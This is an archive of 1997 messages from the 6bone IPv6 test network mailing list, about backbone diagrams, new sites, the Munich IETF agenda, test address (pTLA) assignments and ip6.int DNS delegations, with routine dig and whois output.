Subject: corrections for a 6bone host/router implementations list
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6bone folk,

I'm trying to make a list of host and router implementations in use on the
6bone.  The IETF IPng (Sun) web site lists 22 host and 9 client
implementations as under development or complete.

	http://playground.sun.com/pub/ipng/html/ipng-implementations.2.html


Looking at the above list, I'm guessing the following implemenations in use.
Please forgive the use of a plain "BSD" as a generalization, or correct it
as you will.

Anyway, anyone able to correct this list for me?


Thanks,

Bob

=============================================
host implementations in use on the 6bone are:	

Digital Unix
FTP Software Windows95
IBM AIX
Inria BSD
Linux
SICS HP-UX
Sun Solaris
UNH BSD
NRL BSD
WIDE BSD

=============================================
router implementations in use on the 6bone are:

Bay
Cisco
Digital
Merit MRT
Telebit

=============================================



From majordom@ISI.EDU  Wed Jul 30 12:40:35 1997
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new 6bone backbone links diagram - version 25

http://www.6bone.net/6bone-bblinks.html

	change RIPng link to BGP4+ from NWNET/US to ESNET/US

	add BGP4+ link from DIGITAL-CA/US to ESNET/US


Thanks,

Bob



From majordom@ISI.EDU  Wed Jul 30 12:38:44 1997
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From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 81
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new 6bone diagram - version 81

http://www.6bone.net/6bone-drawing.html

	add ANL/US, BNL/US and AMESLAB/US to ESNET/US


Welcome to:

Argonne National Laboratory, Chicago, IL

Brookhaven National Laboratory, Long Island, NY

Ames Laboratory, Iowa State Univ., Ames, Iowa


Thanks,

Bob

PS:  AMESLAB seems to need a 6bone Registry entry



From majordom@ISI.EDU  Thu Jul 31 11:46:50 1997
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Date: Thu, 31 Jul 1997 18:46:50 -0700
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From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 26
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new 6bone backbone links diagram - version 26

http://www.6bone.net/6bone-bblinks.html

	chg RIPng link to BGP4+ from CICNET/US to NWNET/US

	chg RIPng link to BGP4+ from DIGITAL-CA/US to NWNET/US


Good pace converting from RIPng to BGP4+ these days!



Thanks,

Bob



From majordom@ISI.EDU  Thu Jul 31 11:44:07 1997
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new 6bone diagram - version 82

http://www.6bone.net/6bone-drawing.html

	add SWISS-TELECOM/CH to DIITAL-ETC/FR

	add FOGHEAD/US to NWNET/US

	add UW-CSE/US to NWNET/US


Welcome to:

Swiss Telecom Research & Development
Bern Switzerland

Foghead Consulting
Seattle, Washington US

Dept. of CSE, University of Washington
Seattle, Washington US


Thanks,

Bob



From majordom@ISI.EDU  Mon Aug  4 08:41:32 1997
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To: bh91030@pine.kangwon.ac.kr (=?iso-8859-1?Q?=BF=F8?= =?iso-8859-1?Q?_=B1=A4?=)
Date: Mon, 4 Aug 1997 15:41:32 -0700 (PDT)
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> 
> Hi,
> 
> I am looking for an entry point to the 6bone and would be very grateful for
> any advice you could give me on who I might approach.
> I am situated at kangwon uni. kangwondo, the Republic of Korea.
> 
> Many thanks
> 

Try,
	whchoi@cosmos.kaist.ac.kr or ipv6-ops@cosmos.kaist.ac.kr

-- 
--bill

From majordom@ISI.EDU  Mon Aug  4 11:43:43 1997
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Subject: 6bone Agenda for Munich - draft version of 4Aug97
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Gentle 6bone folk,

The current draft agenda for the 6bone session is shown below.  Please send
comments/add/changes/deletions to the mailer.


As I still have little input from anyone on the agenda, thus I am choosing
to eliminate some things and regroup others.  Where no name is present I am
still hoping to receive volunteers on that subject.  If I receive none, the
item will either be deleted or I will attempt to elicit input at the
meeting, ad hoc.

So...I need to hear from you!


Remember that the 6bone activity is now part of ngtrans (along with
"tools"). The ngtrans meetings are scheduled as shown below.  Note that the
6bone portion of the meeting will be in two pieces.  If we don't have
sufficient content for the second hour we will adjourn.


Thanks,

Bob

=============================================================================
TUESDAY, August 12, 1997

1415-1515  Afternoon Sessions II

Lindau      OPS	ngtrans  Next Generation Transition (Tools) WG

1515-1545  Break (Refreshments provided) - Congress Foyer

1545-1645  Afternoon Sessions III

Lindau      OPS	ngtrans  Next Generation Transition (6bone) WG  <<<<<<<<<<<<<

1700-1800  Afternoon Sessions IV

Lindau      OPS	ngtrans  Next Generation Transition (6bone) WG  <<<<<<<<<<<<<

================================================================================
================================================================================
NGTRANS-6BONE Agenda - Munich IETF

Tuesday, August 12, 1545-1800


1. Introduction & agenda - Bob Fink (10 mins)

2. Status of Action Items from Memphis - (20 mins)

2.1 CAIRN Backbone Proposal - Allison Mankin
    (update from Allison on her proposal/plans?)

2.2 RFC1987 changes to use virtual IPv6 provider ID - Hsin Fang
    (are we abandoning or closing this - Hsin?)

2.3 Aggregation-Based Addressing Structure for 6bone - Bob Fink
    (agenda item below)

2.4 I-D "Representing IPv6 Tunnels in RPSL" - David Meyer
    (maybe this is closed - Dave?)

2.5 New 6BONE registry - David Kessens
    (agenda item below)

2.6 DNS for localized 6bone routing registry information - Bill Manning
    (maybe this is closed - Bill?)

2.7 Volunteers for I-D on requirements for new 6bone infrastructure - Bob Fink
    (Bob will give status)

2.8 Survey of host and router implementations on 6bone - Bob Fink
    (agenda item below)

3. New 6bone Registry, Overview and Issues - David Kessens (10 mins)

4. Backbone/Transit Planning - (20 minutes)
4.1  Just how much peering among backbone sites -
4.2  What makes a backbone site -
4.3  UK 6bone connectivity among the ISPs - Guy Davies

5. Test Plan for Aggregation-Based Addressing - (30 minutes)
5.1  The current plan - Bob Fink
5.2  G6 addressing plans - Alain Durand
5.3  Open issues for new addressing on the 6bone -

6. Operational issues on the 6bone - (20 minutes)
6.1  ip6.int versus icmp-based address lookup -
6.2  Any good new tool suggestions? -
6.3  When do we start testing scurity? -

7. Implementations in use on the 6bone - Bob Fink (10 mins)

8. Site (router) renumbering on the 6bone - (10 mins)

-end



From majordom@ISI.EDU  Wed Aug  6 00:04:43 1997
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From: Yann-Ju Chu <defaultuser@domain.com>
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    I wish to join the 6Bone but I do not know how to get my ASN. Can
you give me a
suggestion?

Thanks

Chu


From majordom@ISI.EDU  Tue Aug  5 14:38:36 1997
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Subject: Re: How to get my ASN
To: defaultuser@domain.com (Yann-Ju Chu)
Date: 	Tue, 5 Aug 1997 12:38:36 +0200 (Funky)
From: "Matthias Urlichs" <smurf@noris.de>
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If you don't have your own ASN already, ask your provider.

Yann-Ju Chu wrote:
>
>    I wish to join the 6Bone but I do not know how to get my ASN. Can
>you give me a
>suggestion?
>
-- 
Matthias Urlichs
noris network GmbH

From majordom@ISI.EDU  Wed Aug  6 06:38:45 1997
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To: Yann-Ju Chu <defaultuser@domain.com>, 6bone@ISI.EDU
From: Yong-Woon Kim <qkim@pec.etri.re.kr>
Subject: Re: How to get my ASN
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$)C
At 04:04 ?@HD 97-08-05 +0800, Yann-Ju Chu wrote:
>    I wish to join the 6Bone but I do not know how to get my ASN. Can
>you give me a
>suggestion?
>
>Thanks

I'm very happy to give an answer in this mailing list. :)

$ whois -h radb.ra.net YOUR-IP-address

Good Luck.




From majordom@ISI.EDU  Wed Aug  6 07:34:30 1997
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To: Yann-Ju Chu <defaultuser@domain.com>
From: Juyoung Park <jypark@comsun.chungnam.ac.kr>
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Dear Yann-Ju

Refer to 
ftp://rs.internic.net/netinfo/asn.txt , 
and you can get your ASN.. of course you should know which IS you connected..

Hope this might be helpful ..

$)C
At 04:04 ?@HD 97-08-05 +0800, Yann-Ju Chu wrote:
>    I wish to join the 6Bone but I do not know how to get my ASN. Can
>you give me a
>suggestion?
>
>Thanks
>
>Chu
>
>
>


Ju Young Park  ---------------------------------
computer communications lab, Chungnam Nat. Univ.
South KOREA
+82-42-822-2577
------------------------------------------------

From majordom@ISI.EDU  Tue Aug  5 02:53:16 1997
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Date: Tue, 5 Aug 1997 09:53:16 -0700
To: Dimitry Haskin <dhaskin@BayNetworks.COM>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: IPv6 white paper
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Dimitry,

At 9:17 AM -0700 8/5/97, Dimitry Haskin wrote:
...
>Please add the following link to 6bone home page.
>This is a white paper on IPv6.
>
>http://www.baynetworks.com/Products/Routers/Protocols/2789.html


Thanks for the pointer to this very nice white paper on the business case
for IPv6.

I have added a pointer to it near the top of the 6bone home page so others
can come across it more easily.


Thanks for submitting it.

Bob



From majordom@ISI.EDU  Wed Aug  6 22:00:53 1997
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Due to a severe problem on a router, all RIPng routes to G6 are dead.
We are still connected to the 6bone via 2 BGP4+ tunnels.
I hope to recover soon....

Sorry for that,

	- Alain.

From majordom@ISI.EDU  Wed Aug  6 07:37:54 1997
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Subject: Re: New 6 bone site
To: exce19@student.ce.chalmers.se (Florian-Daniel Otel via ST end dec97)
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In-Reply-To: <199708061127.NAA00516@skil24.ce.chalmers.se> from "Florian-Daniel Otel via ST end dec97" at Aug 6, 97 01:27:07 pm
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Another site...


;; QUESTIONS: 
;;      0.0.9.1.b.0.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.9.1.b.0.f.5.ip6.int.        129600  NS      ns.ipv6.ce.chalmers.se.
0.0.9.1.b.0.f.5.ip6.int.        129600  NS      skil26.ce.chalmers.se.
0.0.9.1.b.0.f.5.ip6.int.        129600  NS      skil26-6bone.ipv6.ce.chalmers.se.
0.0.9.1.b.0.f.5.ip6.int.        129600  NS      skil24.ce.chalmers.se.


-- 
--bill

From majordom@ISI.EDU  Thu Aug  7 20:40:36 1997
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Hi all

G6 RIPng tunnels are now up & running.
Many thanks to Robert Watson from digital.

	- Alain.

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Date: Thu, 7 Aug 1997 09:39:22 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: 6bone operational luncheon
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6bone folk,

In Memphis we had a successful 6bone operational issues meeting over lunch
so we didn't have to have unstructured converstion during the working group
meeting.

I would like to do this again, next Tuesday (August 12) at 11:15 AM, just
after the last morning session (which I believe includes IDR).

So...all those interested, please show up around the IETF reg desk and we
can choose a place based on our size.


Please send me some email that you intend to attend if you can.


Thanks,

Bob



From majordom@ISI.EDU  Fri Aug  8 15:59:21 1997
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From: JOIN Project Team <ipng@uni-muenster.de>
Reply-To: JOIN Project Team <join@uni-muenster.de>
To: 6bone@ISI.EDU
Cc: IPv6-JOIN-Liste <ipv6@uni-muenster.de>
Subject: new JOIN ping statistic
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Hi,

we have changed our 6bone ping statistic to fit the new RIPE style 6bone
registry:

Hourly the ping information for the 6bone backbone sites is received by
whois queries to the ISI database and then a sequence of five pings is
executed to these sites. Additionally DNS and reverse DNS is checked. You
can click on the entries in the table to perform an additional ping or
nslookup immediately (as soon as traceroute is available for the Solaris
implementation we will use it instead of ping).

If you like to be pinged hourly from our JOIN site please mail us. Then we
add a further ping table for non-backbone sites.

Hope this page is useful for you,

all the best
- Guido

------------------------------------------------------------------------------
JOIN -- IP Version 6 in the WiN   Guido Wessendorf
        A project of DFN          Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: +49 251 83 31639, fax: +49 251 83 31653, email: wessend@uni-muenster.de
------------------------------------------------------------------------------




From majordom@ISI.EDU  Fri Aug  8 02:22:08 1997
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Date: Fri, 8 Aug 1997 09:22:08 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 83
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new 6bone diagram - version 83

http://www.6bone.net/6bone-drawing.html

	add new site NATA-BG/UK to UUNET/UK

	add new site NRS/UK to UUNET/UK

Welcome to NRS of Hertford, UK

NATA-BG/UK needs a registry entry.


Thanks,

Bob



From majordom@ISI.EDU  Fri Aug  8 22:56:26 1997
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Date: Fri, 08 Aug 1997 21:56:26 +0100
To: 6bone@ISI.EDU
From: Ben Crosby <bc@ecs.soton.ac.uk>
Subject: New Vendor to Vendor BGP 4+ Peering !
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Hi all,

	Just a quick note to say that USOT-ECS now has a BGP 4+ peering with
TELEBIT/DK, running between a DECswitch 900EF router and a Telebit TBC2000.
This joins our DEC <-> CISCO peering which was also recently established.

	My thanks to Herluf Hansen (TELEBIT) and Jitu Patel (DIGITAL) for their
assistance. 

	Ben.

From majordom@ISI.EDU  Fri Aug  8 09:37:11 1997
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Date: Fri, 8 Aug 1997 16:37:11 -0700
To: Ben Crosby <bc@ecs.soton.ac.uk>, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: New Vendor to Vendor BGP 4+ Peering !
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At 1:56 PM -0700 8/8/97, Ben Crosby wrote:
>Hi all,
>
>	Just a quick note to say that USOT-ECS now has a BGP 4+ peering with
>TELEBIT/DK, running between a DECswitch 900EF router and a Telebit TBC2000.
>This joins our DEC <-> CISCO peering which was also recently established.
>
>	My thanks to Herluf Hansen (TELEBIT) and Jitu Patel (DIGITAL) for their
>assistance.


This is great...means we have at least three way inter-vendor bgp4+ working.


Thanks,

Bob



From majordom@ISI.EDU  Mon Aug 11 13:59:16 1997
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Hi,

we added some other 6bone sites to our ping statistic. Again: if you like
to be included, please mail us.

After IETF we also switch to BGP4+ - so hopefully our connectivity is
better then ;-)

- Guido


From majordom@ISI.EDU  Fri Aug 15 00:31:52 1997
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Date: Thu, 14 Aug 1997 22:31:52 +0200
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <rlfink@lbl.gov>
Subject: 6bone backbone planning & move to testing aggregation address
 format
Cc: RLFink@LBL.gov (Bob Fink LBNL)
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6bone backbone planning meeting - 14 August 1997, Munich, DE.

Alain Durand held a BOF for those interested in 6bone backbone planning
under the new test aggregation address format.  There were 27 people in
attendance.

Alain Durand (G6, FR) spoke on the need to minimize backone tunnels to
clean up routing.  There were comments for this, explaing the reasons why
it is needed at this time, and comments as to why we shouldn't worry about
this.

Stephen Stuart (Digital-ca, US) spoke on reasons to cleanup peering, and to
have multiple interconnect points for ISP TLA's.

Matt Crawford showed various multi-prefix scenarios.

There was a general consensus that there was a need to simplify the 6bone
bacbone topology.

Bob Fink (ESnet/LBNL, US) then led a discussion to generate a plan for
readdressing and backbone restructuring. This discussion led to the
following general agreements:

1. that we assign Testing pTLAs (i.e., pseudo TLAs assigned from the NLA1
field of the 6bone Test address allocation) from the Test Aggregation
addressing I-D as follows:

TELEBIT/DK	3FFE:0100::/24
SICS/SE		3FFE:0200::/24
G6/FR		3FFE:0300::/24
JOIN/DE		3FFE:0400::/24
WIDE/JP		3FFE:0500::/24
SURFNET/NL	3FFE:0600::/24
ESNET/US	3FFE:0700::/24
CICNET/US	3FFE:0800::/24
ISI-LAP/US	3FFE:0800::/24
NWNET/US	3FFE:0A00::/24
VIAGENIE/CA	3FFE:0B00::/24
CISCO/US	3FFE:0C00::/24
ANS/US		3FFE:0D00::/24
IFB/UK		3FFE:0E00::/24
NRL/US		3FFE:0F00::/24
CSELT/IT	3FFE:1000::/24
UUNET/UK	3FFE:1100::/24
DIGITAL-CA/US	3FFE:1200::/24
BAY/US		3FFE:1300::/24
UNI-C/DK	3FFE:1400::/24

Note: we started at 1 because Bob is nervous about using 0 :-)

2. that we establish October 1 as the start date for renumbering the
backbone to testing aggregation addresses, with the goal of November 1 for
coming online.

3. that all backbone sites will peer with BGP4+, and only BGP4+.

4. that the old testing addresses (RFC 1897) be discontinued on the
backbone as early as October 1 (by sites already renumbered) and not later
than November 1 when the newly addressed backbone is scheduled to be fully
online.

5. that a call for new pTLA candidates be issued immediately, for inclusion
in the October 1 renumbering/restructuring, where the criteria to be
applied for inclusion is willingness and ability to actively participate in
this timeframe, and demonstrated experience with IPv6 and the 6bone.

6. that a call for existing backbone sites (given a pTLA above) be made to
decide themselves if they are able to participate in this renumbering/
resructuring effort, and be encouraged to give back their pTLA assignment
for now if they aren't able to participate.  (Note:  any site doing this
can easily reapply at a later time.)

-end



From majordom@ISI.EDU  Fri Aug 15 00:32:23 1997
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Date: Thu, 14 Aug 1997 22:32:23 +0200
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <rlfink@lbl.gov>
Subject: call for 6bone TLA participants for Oct. 1 renumbering of
 backbone 
Cc: RLFink@LBL.gov (Bob Fink LBNL)
Sender: owner-6bone@ISI.EDU
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Status: RO

Per the 6bone backbone ad hoc meeting in Munich, I am calling for those
interested in being an early 6bone test pTLA (i.e., pseudo TLAs assigned
from the NLA1 field of the 6bone Test address allocation) when the
renumbering to the new Aggregation-based unicast address format is started
on 1 October.

Requirements are willingness and ability to actively participate in this
timeframe, and demonstrated experience with IPv6 and the 6bone.

Please send your requests to become a 6bone pTLA to the 6bone mail list
with text sufficient to describe your interest and qualifications.

I will assign test pTLAs to all reasonable request at this time.

Thanks,

Bob



From majordom@ISI.EDU  Thu Aug 14 21:10:09 1997
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To: Bob Fink <rlfink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: call for 6bone TLA participants for Oct. 1 renumbering of 
 backbone
In-Reply-To: Your message of Thu, 14 Aug 1997 22:32:23 +0200.
             <v03102802b018bdf47b8c@[195.27.195.136]> 
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Date: Fri, 15 Aug 1997 02:10:09 -0500
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> Please send your requests to become a 6bone pTLA to the 6bone mail list

I direct the chair's attention to my message of June 2.

Please let me know if more supporting material is needed.



From majordom@ISI.EDU  Fri Aug 15 07:19:37 1997
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Date: Fri, 15 Aug 1997 14:19:37 -0700
From: mark waters <mwa@broadcom.ie>
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To: 6BONE Mailer <6bone@ISI.EDU>
Subject: Yet another IPv6 statistics page
X-Priority: 3 (Normal)
Content-Type: multipart/mixed; boundary="------------116B71C357F3080DF1D97F3D"
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This is a multi-part message in MIME format.
--------------116B71C357F3080DF1D97F3D
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Content-Type: text/plain; charset=us-ascii
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Any suggestions or comments would be gratefully accepted...
regards,
Mk.

Mark Waters
Broadcom Eireann Reseach
Dublin
Ireland

http://www-usru.broadcom.ie/ipv6/

--------------116B71C357F3080DF1D97F3D
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   <META NAME="GENERATOR" CONTENT="Mozilla/4.01b6C [en] (X11; I; SunOS 5.5.1 sun4m) [Netscape]">
   <TITLE>Broadcom's IPv6 related pages</TITLE>
<! This file is simply a starting point for Broadcom's IPv6 related work..  >
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<BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#0000FF" VLINK="#FF0000">

<CENTER><IMG SRC="logo.gif" ></CENTER>

<P>Information that is currently available from this site include:

<ul>
<li><a href="me.html">Linux-IPv6 information </a>
<li><a href="pingstats.html">IPv6 ping statistics </a>
</ul>

<p>This page was last updated on <i>08/15/97</i> and is maintained by
Broadcom's <a href="http://www-usru.broadcom.ie/">User Services Research Unit</a>.</p>

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--------------116B71C357F3080DF1D97F3D--


From majordom@ISI.EDU  Fri Aug 15 11:42:57 1997
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To: Bob Fink <rlfink@lbl.gov>
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Subject: call for 6bone TLA participants for Oct. 1 renumbering of
 backbone 
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Hi Bob,
	I would like to request a test pTLA on behalf of 3com.
We have just finished development of IPv6 on a 3com router and
have tested its interoperability at UNH.

	My qualifications include development of IPv6 on 
NetBSD as well as on 3com routers. I had initiated the UNH 6bone
site and had maintained it for a while. We at UNH had successfully
provided 6bone connectivity to other sites. Enough of bragging :-).

	My main interest would be to test the interoperability of
3com router (being a backbone router would stress it to). Hopefully
this will send a positive message that there are enough router and
host vendors interoperating well on the 6bone to start native deployment.

I will try my best to provide 6bone connectivity to any other sites.

Please feel free to send me questions, comments.

Thanks
Quaizar

 > Per the 6bone backbone ad hoc meeting in Munich, I am calling for those
 > interested in being an early 6bone test pTLA (i.e., pseudo TLAs assigned
 > from the NLA1 field of the 6bone Test address allocation) when the
 > renumbering to the new Aggregation-based unicast address format is started
 > on 1 October.
 > 
 > Requirements are willingness and ability to actively participate in this
 > timeframe, and demonstrated experience with IPv6 and the 6bone.
 > 
 > Please send your requests to become a 6bone pTLA to the 6bone mail list
 > with text sufficient to describe your interest and qualifications.
 > 
 > I will assign test pTLAs to all reasonable request at this time.
 > 
 > Thanks,
 > 
 > Bob
 > 

From majordom@ISI.EDU  Mon Aug 18 19:53:30 1997
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Date: Mon, 18 Aug 1997 10:53:30 +0900
To: 6bone@ISI.EDU
From: Lee Wangbong <leewb@dcn.soongsil.ac.kr>
Subject: about link local address
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Hi! 

I have one question about link local address.

That is,

I wonder about whether IPv6 hosts can communicate with link-local address
or not.

examples) 
                   telnet  fe80::20:ad30:1200
              or  ping    fe80::20:ad30:1200
   or  ftp      fe80::20:ad30:1200   or somthing like that.

I think it is possible.

Am I right ?

Lee Wangbong.
DCN-SSU-KOREA 


From majordom@ISI.EDU  Tue Aug 19 02:54:11 1997
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Subject: Re: about link local address
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Lee Wangbong wrote:
> 
> Hi!
> 
> I have one question about link local address.
> 
> That is,
> 
> I wonder about whether IPv6 hosts can communicate with link-local address
> or not.
> 
> examples)
>                    telnet  fe80::20:ad30:1200
>               or  ping    fe80::20:ad30:1200
>    or  ftp      fe80::20:ad30:1200   or somthing like that.
> 
> I think it is possible.
> 
> Am I right ?
> 
> Lee Wangbong.
> DCN-SSU-KOREA

Yes, if they are in the same link.
I have tested that at my machines.

From majordom@ISI.EDU  Mon Aug 18 07:51:03 1997
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Subject: Re: 6bone backbone planning & move to testing aggregation address
To: rlfink@lbl.gov (Bob Fink)
Date: Mon, 18 Aug 1997 14:51:03 -0700 (PDT)
Cc: 6bone@ISI.EDU, RLFink@LBL.gov
In-Reply-To: <v03102801b018a5afc7ec@[195.27.195.136]> from "Bob Fink" at Aug 14, 97 10:31:52 pm
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> 1. that we assign Testing pTLAs (i.e., pseudo TLAs assigned from the NLA1
> field of the 6bone Test address allocation) from the Test Aggregation
> addressing I-D as follows:
> 
> 3FFE::0/16


Yo Bob,
	What name servers do you want for this prefix?  You'll have to 
take care of performing each of the sub-delegations and each site will have
to agree to perform the subdelegations under them... (ad nausua).

	Which is much the same as today, as is seen w/ JANET and the DoE/NERSC
prefixes.

-- 
--bill

From majordom@ISI.EDU  Tue Aug 19 06:50:32 1997
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From: Scott Mace <emace@bcm.tmc.edu>
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Subject: 6bone hookup
To: 6bone@ISI.EDU
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Baylor College of Medicine is interested in connecting to the 6bone.
We will be using cisco equipment and would like to do bgp4+.  It was
suggested a while back that we connect via cicnet, Dorian?  We will
be ready to to the actual tunnel in about 1 week.

	Scott


From majordom@ISI.EDU  Tue Aug 19 03:21:58 1997
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Subject: Re: 6bone backbone planning & move to testing aggregation address
To: Alain.Durand@imag.fr (Alain Durand)
Date: Tue, 19 Aug 1997 10:21:58 -0700 (PDT)
Cc: bmanning@ISI.EDU, rlfink@lbl.gov, 6bone@ISI.EDU
In-Reply-To: <970819143800.ZM14257@rama.imag.fr> from "Alain Durand" at Aug 19, 97 02:38:00 pm
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> 
> On Aug 18,  2:51pm, bmanning@ISI.EDU wrote:
> 
> > > 3FFE::0/16
> >
> > Yo Bob,
> > 	What name servers do you want for this prefix?  You'll have to
> > take care of performing each of the sub-delegations and each site will have
> > to agree to perform the subdelegations under them... (ad nausua).
> >
> 
> I'm willing to be secondary Name Server fro E.F.F.3.ip6.int if needed.
> (I'm already secondary of ip6.int)
> 
> 	- Alain.
> 

Done...

;       ID (aggregatable addresses) Munich IETF BOF
e.f.f.3.ip6.int.        in      ns      ns.isi.edu.
                        in      ns      imag.imag.fr.        
;


-- 
--bill

From majordom@ISI.EDU  Tue Aug 19 03:31:24 1997
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Subject: three letter acronyms (TLAs)
To: 6bone@ISI.EDU
Date: Tue, 19 Aug 1997 10:31:24 -0700 (PDT)
Cc: bmanning@ISI.EDU (Bill Manning, ; DIV7)
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Hi,
	Will the good folks at these sites contact me w/ the (min) two 
nameservers that will be used for the TLA delegations?

TELEBIT/DK      3FFE:0100::/24
SICS/SE         3FFE:0200::/24
G6/FR           3FFE:0300::/24
JOIN/DE         3FFE:0400::/24
WIDE/JP         3FFE:0500::/24
SURFNET/NL      3FFE:0600::/24
ESNET/US        3FFE:0700::/24
CICNET/US       3FFE:0800::/24
ISI-LAP/US      3FFE:0800::/24
NWNET/US        3FFE:0A00::/24
VIAGENIE/CA     3FFE:0B00::/24
CISCO/US        3FFE:0C00::/24
ANS/US          3FFE:0D00::/24
IFB/UK          3FFE:0E00::/24
NRL/US          3FFE:0F00::/24
CSELT/IT        3FFE:1000::/24
UUNET/UK        3FFE:1100::/24
DIGITAL-CA/US   3FFE:1200::/24
BAY/US          3FFE:1300::/24
UNI-C/DK        3FFE:1400::/24

	I'll have the ISI-LAP site up shortly.

-- 
"When in doubt, Twirl..."  -anon

From majordom@ISI.EDU  Tue Aug 19 03:42:09 1997
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34% dig @ns e.f.f.3.ip6.int. ns

; <<>> DiG 2.0 <<>> @ns e.f.f.3.ip6.int. ns 
;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 13
;; flags: qr aa rd ra ; Ques: 1, Ans: 2, Auth: 0, Addit: 2
;; QUESTIONS: 
;;      e.f.f.3.ip6.int, type = NS, class = IN

;; ANSWERS:
e.f.f.3.ip6.int.        129600  NS      imag.imag.fr.
e.f.f.3.ip6.int.        129600  NS      ns.isi.edu.

....


35% dig @ns 0.0.8.0.e.f.f.3.ip6.int. ns

; <<>> DiG 2.0 <<>> @ns 0.0.8.0.e.f.f.3.ip6.int. ns 
;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 10
;; flags: qr aa rd ra ; Ques: 1, Ans: 2, Auth: 0, Addit: 2
;; QUESTIONS: 
;;      0.0.8.0.e.f.f.3.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.8.0.e.f.f.3.ip6.int.        129600  NS      orb.isi.edu.
0.0.8.0.e.f.f.3.ip6.int.        129600  NS      NS.isi.edu.

....

36% dig @ns 0.0.f.0.e.f.f.3.ip6.int. ns

; <<>> DiG 2.0 <<>> @ns 0.0.f.0.e.f.f.3.ip6.int. ns 
;; ->>HEADER<<- opcode: QUERY , status: NOERROR, id: 11
;; flags: qr rd ra ; Ques: 1, Ans: 2, Auth: 0, Addit: 2
;; QUESTIONS: 
;;      0.0.f.0.e.f.f.3.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.f.0.e.f.f.3.ip6.int.        129600  NS      avarice.inner.net.
0.0.f.0.e.f.f.3.ip6.int.        129600  NS      buzzcut.ipv6.nrl.navy.mil.

....

Next?
-- 
"When in doubt, Twirl..."  -anon

From majordom@ISI.EDU  Tue Aug 19 09:47:24 1997
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To: bmanning@ISI.EDU
Cc: 6bone@ISI.EDU
From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: tla delegations 
In-Reply-To: Your message of Tue, 19 Aug 1997 10:42:09 PDT.
             <199708191742.AA22629@zed.isi.edu> 
Date: Tue, 19 Aug 1997 14:47:24 -0500
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> 0.0.8.0.e.f.f.3.ip6.int.        129600  NS      orb.isi.edu.
> 0.0.8.0.e.f.f.3.ip6.int.        129600  NS      NS.isi.edu.
> 0.0.f.0.e.f.f.3.ip6.int.        129600  NS      avarice.inner.net.
> 0.0.f.0.e.f.f.3.ip6.int.        129600  NS      buzzcut.ipv6.nrl.navy.mil.

Whoa!  Too many zeros!  These are supposed to be /24's you're delegating.

					Matt

From majordom@ISI.EDU  Tue Aug 19 09:02:36 1997
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Subject: Re: three letter acronyms (TLAs) (fwd)
To: 6bone@ISI.EDU
Date: Tue, 19 Aug 1997 16:02:36 -0700 (PDT)
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> From: "Rebecca L. Nitzan" <nitzan@es.net>
> 
> >Hi,
> >	Will the good folks at these sites contact me w/ the (min) two 
> >nameservers that will be used for the TLA delegations?
> >
> >CICNET/US       3FFE:0800::/24
> >ISI-LAP/US      3FFE:0800::/24
>                       ^^ typo?
> >NWNET/US        3FFE:0A00::/24
> >VIAGENIE/CA     3FFE:0B00::/24
> >CISCO/US        3FFE:0C00::/24
> >ANS/US          3FFE:0D00::/24
> >IFB/UK          3FFE:0E00::/24
> >NRL/US          3FFE:0F00::/24
> >CSELT/IT        3FFE:1000::/24
> >UUNET/UK        3FFE:1100::/24
> >DIGITAL-CA/US   3FFE:1200::/24
> >BAY/US          3FFE:1300::/24
> >UNI-C/DK        3FFE:1400::/24

and Matt Crawford points out that we have too many zeros here for /24s. 

So,
	IMHO, I'll move CICnet/US to 3FFE:1500::
	or	        CICnet/US to 3FFE:0900::

and ask if we are going on /32 bounds or not.


Your feedback is appreciated.


-- 
"When in doubt, Twirl..."  -anon

From majordom@ISI.EDU  Tue Aug 19 17:25:20 1997
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From: Sean McPherson <sean@ntr.net>
Message-Id: <199708200125.VAA11095@ha1.ntr.net>
Subject: Getting Started
To: 6bone@ISI.EDU
Date: Tue, 19 Aug 1997 21:25:20 -0400 (EDT)
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Hello All!
	My name is Sean McPherson, and I'm a systems admin for NTR.Net
Corporation. We're a national ISP based in louisville, Kentucky, US. We
try to stay on top of everything, so I've been reading everything I can
about IPV6. And before you ask, no it's not a passing fad or something
I've been assigned at work :) The first practical experience I had w/ IPV6
was w/ the development kernels on my linux boxi, and since I'd heard so
much uproar about it for the past few years, I got really interested. Now,
I'm trying to find out how to go about setting up a decent site to connect
thru 6bone. I've read thru the web site, most of the RFC's, and some of
the other things I've found, but I expect this is a bit touch and go at
this point. 

	I have a few questions that I haven't been able to find answers
on, so I'll try to be as precise as possible. We presently route thru
UUNET and GRIDNET, and our routing hardware consists of Cisco 7500's. I
know Cisco has quite a bit going w/ 6bone, so I'm hoping for some pointers
for more info on what I'll need to do to even get packets thru :)
As far as software/OS's go, I'm using a few linux boxi (they make great
test machines, even if we don't use them for production purposes) and SGI
indy's to try this out. I have the linux boxes pretty well configures so
far as the actual IPV6 goes, but after that I expect all the rules of IP
and routing to change (I've read enuff of the RFC's and seen the 6bone
network layout to expect at least some weirdness).

	1)	What kind of Cisco's presently work well w/ IPV6? If I
need a revision for the 7500, what patch level should I be at?

	2)	Who do I contact for the network addressing specs 6bone is
using, and/or apply for an IP header block for this testing?

	3)	What kind of official channels should I be going thru? :)

	Thanks in advance for any help you can offer, and I am really
looking forward to seeing what happens. After all, when there are enuff
IP's for every electrical device in my apartment, what can be wrong???!!!

-- 
Sean McPherson
sean@ntr.net
Systems Administration
